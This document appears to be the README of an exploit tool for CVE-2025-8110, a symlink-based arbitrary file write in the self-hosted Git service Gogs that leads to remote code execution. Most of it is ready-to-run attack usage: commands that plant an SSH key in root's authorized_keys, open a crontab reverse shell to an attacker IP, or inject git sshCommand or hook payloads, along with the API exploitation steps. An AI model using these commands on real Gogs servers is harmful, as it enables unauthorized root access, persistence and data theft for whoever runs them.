
Gogs Symlink Traversal → RCE
CVE-2025-8110 — это критическая уязвимость в Gogs (самостоятельно размещаемый Git-сервис) версий <= 0.13.3. API PutContents проверяет пути к файлам на предмет обхода каталогов (../), но не разрешает символические ссылки перед записью. Аутентифицированный пользователь может отправить коммит, содержащий символическую ссылку, указывающую на любой серверный файл, а затем вызвать PutContents для этой ссылки, чтобы перезаписать реальный файл контролируемым злоумышленником содержимым.
Это обход исправления предыдущей CVE-2024-55947, которое устраняло только прямой обход пути, но не обход на основе символических ссылок.
| Деталь | Значение |
|---|---|
| CVE | CVE-2025-8110 |
| Затронутые версии | Gogs <= 0.13.3 |
| Исправлено | Gogs 0.13.4 |
| Тип | Аутентифицированная произвольная запись файла → RCE |
| CVSS | 8.8 (Высокий) |
| Компонент | PutContents API (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git CLI# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - Войти через токен API (Basic Auth)POST /api/v1/user/repos с auto_init: true (POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link с содержимым, закодированным в base64. Gogs разрешает символическую ссылку на диске и записывает в реальный файл (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs base URL (e.g. http://target:3000)
Authentication:
-u, --user Gogs username
-p, --password Gogs password
RCE Strategies:
--rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Poison .git/config sshCommand + trigger
--rce-hook Overwrite pre-receive hook + trigger
--write Generic arbitrary file write
Connection / Payload:
--lhost LHOST Attacker IP for reverse shell
--lport LPORT Attacker port for reverse shell
--target-file PATH Server path to overwrite (--write mode)
--content STRING Content to write
--content-file FILE Local file to write
Options:
--repo NAME Repository name (default: random)
--cleanup Delete exploit repo after completion
-o, --output FILE Report file (default: loot.json)
--timeout SECONDS Request timeout (default: 15)
--proxy URL HTTP proxy for debugging
--check-only Only check if target is Gogs, don't exploit
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование. Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
| Стратегия | Флаг | Целевой файл | Триггер |
|---|
| A — SSH-ключи | --rce-keys | /root/.ssh/authorized_keys | Вход по SSH |
| B — Crontab | --rce-cron | /etc/crontab | Автоматически (в течение 60 с) |
| C — sshCommand | --rce-ssh | .git/config | Операция git по SSH |
| D — Хук Git | --rce-hook | hooks/pre-receive | git push |
| Generic | --write | Любой путь | Вручную |